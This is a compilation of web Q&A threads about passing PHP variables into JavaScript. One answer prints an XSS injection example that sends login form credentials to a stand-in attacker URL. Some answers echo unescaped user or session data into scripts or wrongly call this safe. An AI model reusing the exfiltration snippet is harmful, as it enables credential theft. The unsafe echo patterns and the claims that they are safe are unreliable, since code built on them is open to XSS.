Reading GDPR info from text file, echo out in PHP - javascript

I want to read GDPR info from a file, then in PHP echo out a confirm box with the info, and I then set a cookie, using php setcookie.
I have trouble getting it to work:
$message = file_get_contents("my_gdpr_text.txt");
echo ('<script>confirm("'.$message.'")</script>');
The confirm box just does not pop up at all (not even a blank box). If I set the message value to "Oscar" or anything, it all works, so the problem must be the answer from file_get_contents. I know it is read correctly, by testing with print_r. Is some text formatting needed? Grateful for answer.

echo ('<script>confirm("'.$message.'")</script>');
The problem with this is that as soon as your $message variable contains any double apostrophes " your JavaScript breaks
For example
$message = 'Please click "OK" to confirm';
echo ('<script>confirm("'.$message.'")</script>');
Will become
<script>confirm("Please click "OK" to confirm")</script>
Which is of course invalid because of the mismatch of apostrophes.
You could do something like this.
$message = file_get_contents("my_gdpr_text.txt");
$message = json_encode($message);
echo ('<script>confirm('.$message.')</script>');
See also:
How do I pass variables and data from PHP to JavaScript?
How to escape string from PHP for javascript?
Also consider if you really need PHP:
How do I load the contents of a text file into a javascript variable?

Related

How to pass php variable in window.location javascript

I want to pass the php variable inside the window.location javascript this is my php code and i am unable to do that.
echo '<script>location.href = "reportConsumption.php?creategenReport="'.$genid.'"&sDate="'.$startdate.'"&eDate="'.$enddate;</script>';
try to set quotation marks
echo '<script>location.href = "reportConsumption.php?creategenReport='.$genid.'&sDate='.$startdate.'&eDate='.$enddate.'"</script>';
You are closing your quote in JS
echo '<script>location.href = "reportConsumption.php?creategenReport="'.$genid.'"&sDate="'.$startdate.'"&eDate="'.$enddate;</script>';
Should be
echo '<script>location.href = "reportConsumption.php?creategenReport='.$genid.'&sDate='.$startdate.'&eDate='.$enddate.'</script>';
This will cause an error in JS on the client side, you could see this by pressing f12 and looking in the console log in the browser debugger. Your source code will look like this
<script>location.href = "reportConsumption.php?creategenReport="35"&sDate="...
//where this is a quoted block
"reportConsumption.php?creategenReport="
//and this is just chilling in space
35
//and then a new quoted block, etc.
"&sDate="
And you had this other (php syntax error) issue I took the liberty of fixing.
.$enddate;</script>';
Just in PHP you can redirect with
header("Location: $url");
But you have to be sure of 2 things:
You do not output "Anything" not even a line return before calling header
You call exit(); immediately after it. If you don't PHP will continue to execute the current script after it executes the redirect. Which is probably not desirable.
You are closing the double quotes too early. It should be close at the end of the URL. So you have a syntax error in your JavaScript:
echo '<script>location.href = "reportConsumption.php?creategenReport='.$genid.'&sDate='.$startdate.'&eDate='.$enddate.'";</script>';
Or separate using a variable to be more clear:
$url = 'reportConsumption.php?creategenReport='.$genid.'&sDate='.$startdate.'&eDate='.$enddate;
echo '<script>location.href = "'.$url.'";</script>';
You should not use double quote around the values for GET param
echo '<script>location.href = "reportConsumption.php?creategenReport='.$genid.
'&sDate='.$startdate.'&eDate='. $enddate .'"';</script>';

How to pass a php variable from a php file to js file? [duplicate]

This question already has answers here:
How do I pass variables and data from PHP to JavaScript?
(19 answers)
Closed 6 years ago.
I have an html/php composite document that uses the login variable from a user. (This came from a separate php file on signin):
<html> Welcome <?php echo $login; ?> </html>
//Now when the user uses the chatbox, and clicks send, I would like to pass the data (inclusive of the username) from this html file to the .js so it can in turn pass onto another php file. (ps I tried the following but to no avail, as the .js file is external to the html/php composite):
$("#newMsgSend").click(function()//triggers script to send the message
{
$("#newMsgCnt").val(''); // clears the box when the user sends a message
var username = "<?php echo $login; ?>";
alert(username);
});
Your current code is likely introducing an XSS vulnerability. Instead, take advantage of the fact that valid JSON is valid JavaScript:
var username = <?php echo json_encode($login); ?>;
In some situations, it may also be better to use an XMLHttpRequest or WebSocket that requests the data from another URL (typically encoded as plain text, XML or JSON). One scenario for that would be notifying the user once new items have been added after the user loaded the webpage.
when the user logs in, create a session for that user and populate it with the data (such as username, email, phone number or whatever) from the database - as followings (assuming that the login is correct and authentic:
$_SESSION['user'] = $row; //where $row is the row of data returned from the db
Then whenever you want to access that information include the following at the top of the page:
session_start();
and then access the information such as
$userfirst_name=$_SESSION['user']['first_name'];
then your html will be something like:
<h1> Welcome <?php echo "$userfirst_name"; ?> </h1>
note that session start must be at the top of each page you are wanting to access the sessiobn variables. Then to clear the user details (such as when the user logs out you can use the following:
unset($_SESSION["user"]);
Thanks to both: Ivan Rodriguez Torres and phihag. I got a solution somewhere in the middle of both posts:
<input id="login" readonly type="text" <?PHP echo "value= '$login'/>"; ?>
Ivan's suggestion was somehow returning an "undefined" variable for me. The above works like a charm though. Hope its safe and doesnt lead to any problems.
Thanks again guys

How to pass variable from php to javascript?

I want to pass a php variable to javascript. I have tried something but I am not sure if it is safe way to do.
<?php
$name=$_POST['name'];
?>
<script>
var name="<?php echo $name ?>";
</script>
Also people do it some thing like this
<?php
$name = $_POST['name'];
echo '<script>';
echo 'var name = ' . json_encode($name) . ';';
echo '</script>';
?>
Which of the code is better in terms of safety. Is there any risk using first code? A little explanation will be enough. Thanks
First case:
This case if used if we want to simply assign string value in javascript variable.
<script>
var name="<?php echo $name ?>";
</script>
Second case:
For this case, you should use json_encode() when you want to add some array in javascript variable.
<?php
$name = array('name' => $_POST['name']);
echo '<script>';
echo 'var name = ' . json_encode($name) . ';';
echo '</script>';
?>
And yes, echo whole javascript or just echo your variable will make no change in your output. Just make sure that your javascript variable has proper wrapper either ' or nothing in case of object;
Never print a post or get variables without validation.
https://en.wikipedia.org/wiki/Cross-site_scripting
http://code.tutsplus.com/articles/data-sanitization-and-validation-with-wordpress--wp-25536
From experience, as your POST data shouldn't possibly be manipulated in the first place for all users, you have to keep in mind that you should never trust user input data - a form can be compromised.
TL;DR
It's impossible to give you a yes/no answer, it all depends of the context of your script.
Let's imagine a scenario. On your original form you're echo'ing a text that come from your database:
<form action="otherpage.php" method="post">
<input name="name" type="text" id="name" />
<?php echo $some_text_from_database; ?>
<input type="submit" value="Submit" />
</form>
Imagine that a malicious hacker managed to changed the content of that text from database that you get by an SQL injection, some password got from an author account or whatever other way ; to this :
<script type="text/javascript">
document.getElementById('name').name = 'whatever';
</script>
<input name='name' type='text' value='";
document.querySelector("#login_form").addEventListener("submit", function(){
var data "login="+document.getElementById("login").value+"&password="+document.getElementById("password").value;
var xmlhttp = new XMLHttpRequest();
xmlhttp.open("POST", "http://hackerwebsite.com/get_passwords.php", true);
xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xmlhttp.send();
});
var a="' />
This will first change the original input name, then create a new one with a malicious script as value. So we get in $_POST['name'] this new input, and not the original one - user input will be ignored.
So, let's bring your imagination a bit further. Let's say that in your otherpage.php there is a login form for some reason. Doing this on this page:
<script>
var name="<?php echo $_POST['name']; ?>";
</script>
Will result to this:
<script>
var name="";
document.querySelector("#login_form").addEventListener("submit", function(){
var data "login="+document.getElementById("login").value+"&password="+document.getElementById("password").value;
var xmlhttp = new XMLHttpRequest();
xmlhttp.open("POST", "http://hackerwebsite.com/get_passwords.php", true);
xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xmlhttp.send();
});
var a="";
</script>
What this will do? When the login form will be submitted, an AJAX request will be sent to the hacker website, sending the login and password in plain text...
So to summarize this: hacker exploit your simple echo to access a form input he couldn't access in other way.
As it could sound as a really edge case, in a general way you should always be carefull when manipulating user input, even database data. You can't always deeply understand the full context of what you're doing, and hackers are often highly imaginative people. Just sanitizing your data with sanitize_text_field for example (considering you're working in a Wordpress context) will take no time.
PS: All that scenario is pretty much something I experienced few years ago. An hacker managed to stole a lot of user data with something like this on a website I had to work with. Since then I learn that being too much paranoid is not a bad thing :)
Some good reading :
Cross-Site Scripting (XSS)
Note that the Javascript code will break if $name contains quotes. Use the PHP function addslashes to avoid this:
<script>
var name = "<?php echo addslashes($name); ?>";
</script>
Your both code will produce same result and there no safety issue in both case.
You can find tutorials about web server and web browser on google for more details.
http://www.tutorialspoint.com/internet_technologies/web_servers.htm
Yep you are doing it right. There is no security issue in doing it the way you have done.

In WordPress how do I pass multiple variables into the URL and retrieve them?

For some reason I can only retriever the first variable, in this instance, "product_category" out of the URL http://localhost/coffeesite/?product_category=coffee&brand=bourbon .
I'm outputting javascript to confirm that I've set the variable, but again, only coffee will be alerted, and not brand. I'm using WordPress's 'get_query_var'. See code below:
<?php
echo '<script> product_category = "' . get_query_var('product_category') . '";
brand = "' . get_query_var('brand') . '";
alert(product_category);
alert(brand);
</script>';
?>
Any help would be appreciated - I'm struggling to solve it!
Since you are testing, maybe you could test the php directly? The function get_query_var is just a wrapper for the generic php array $_GET. You should have these values available at $_GET['product_category'] and $_GET['brand']. But instead of assuming everything is where it is supposed to be, why not check what you actually have?
<?php
add_settings_error("var-test", "var-test", implode(", ", array_keys($_GET)));
?>
Disclaimer: I am a Drupal developer, not Wordpress, but they are both php.
I am using the documented message tool here, for a little cleaner php code.
https://codex.wordpress.org/Function_Reference/add_settings_error
You could still use your javascript if you would like:
<?php
echo '<script> alert( '. implode(", ", array_keys($_GET)) .');
</script>';
?>
Second possibility. The reason for using a wrapper function instead of the raw core is for what it provides in that wrap. My normal assumption is sanitation and security filters, which are poor for testing but essential for production environments. However, with a little bit of reading on the function you are using, it says it only returns values for known query objects and if you are using custom variables in the url you should register them. https://codex.wordpress.org/Function_Reference/get_query_var
Have you registered "brand"?

How do I put a session value into a javascript?

I have a session['password']. I would like to get the session value and use it to validate against user's input.
if(opw != $_session['password']){
errors[errors.length] = "Sorry, password does not match.";
}
This is what I have been trying, however if I input this they do not read the session. And ignore this conditions. How do I actually insert session value into Javascript?
As the other answers have suggested, you have to embed your PHP session value into the javascript when the page is generator. But the others have forgotten one important thing - you have to generate VALID javascript or your entire script will get killed with a syntax error.
if (opw != <?php echo json_encode($_SESSION['password']) ?>) {
Note the call to json_encode - it's not just enough to output the password string. You have to make sure that the password becomes a VALID javascript string, which json_encode ensures.
Your inline JavaScript code:
var session = <?php print $_SESSION['password']; ?>;
Is that what you're looking for?
You need to surround the $_SESSION in <?php echo ?>. This causes the PHP variable to be printed into the Javascript on the page.
if(opw != <?php echo $_SESSION['password']; ?> ){
However, this is a deeply insecure method of checking a password and I advise against using it. If not transferred over SSL, the password will be sent in plain text on every page view. Furthermore, it is likely to be cached by the web browser where anyone with access to the computer may read it.
You'll have to actually echo out the errors manually:
// do all of your validation and add all of the errors to an array.
if($opw != $_session['password']){
$errors[] = "Sorry, password does not match.";
}
echo "<script type=\"text/javascript\">var errors = ".
json_encode( $errors ).";</script>";
Then, later:
<script type="text/javascript">alert(errors)</script>
Please note that PHP is totally different from JS. PHP is a server side coding-language, meaning it get's executed when your server is rendering the requested page. In that page (which contains some HTML) there can also be JS. However, JS cannot connect to PHP in the way you think it does. For this you could use Ajax or something (but that's way too complicated for the goal you're trying to achieve).
You probably want something like this
// eg. index.php or something
...
<?php
session_start();
if ($_POST['password'] == 'somePassYouDefined') {
echo 'Authenticated';
}else if (isset($_POST['password'])) {
echo 'Couldn\'t authenticate ...';
}else {
?>
<form method='post'>
<input type='password' name='password' placeholder='Password' />
<input type='submit' />
</form>
<?php
}
?>
ASP version:
if(opw != '<%=Session("password")%>' ){
I added quotes because a password is usually a string.
When the user runs this script, the html page that is downloaded to their computer will display the password IN PLAIN TEXT, ie:
if(opw != 'BOBSPASSWORD' ){
So, if they don't know or have a password, they can view/source and find it.

Categories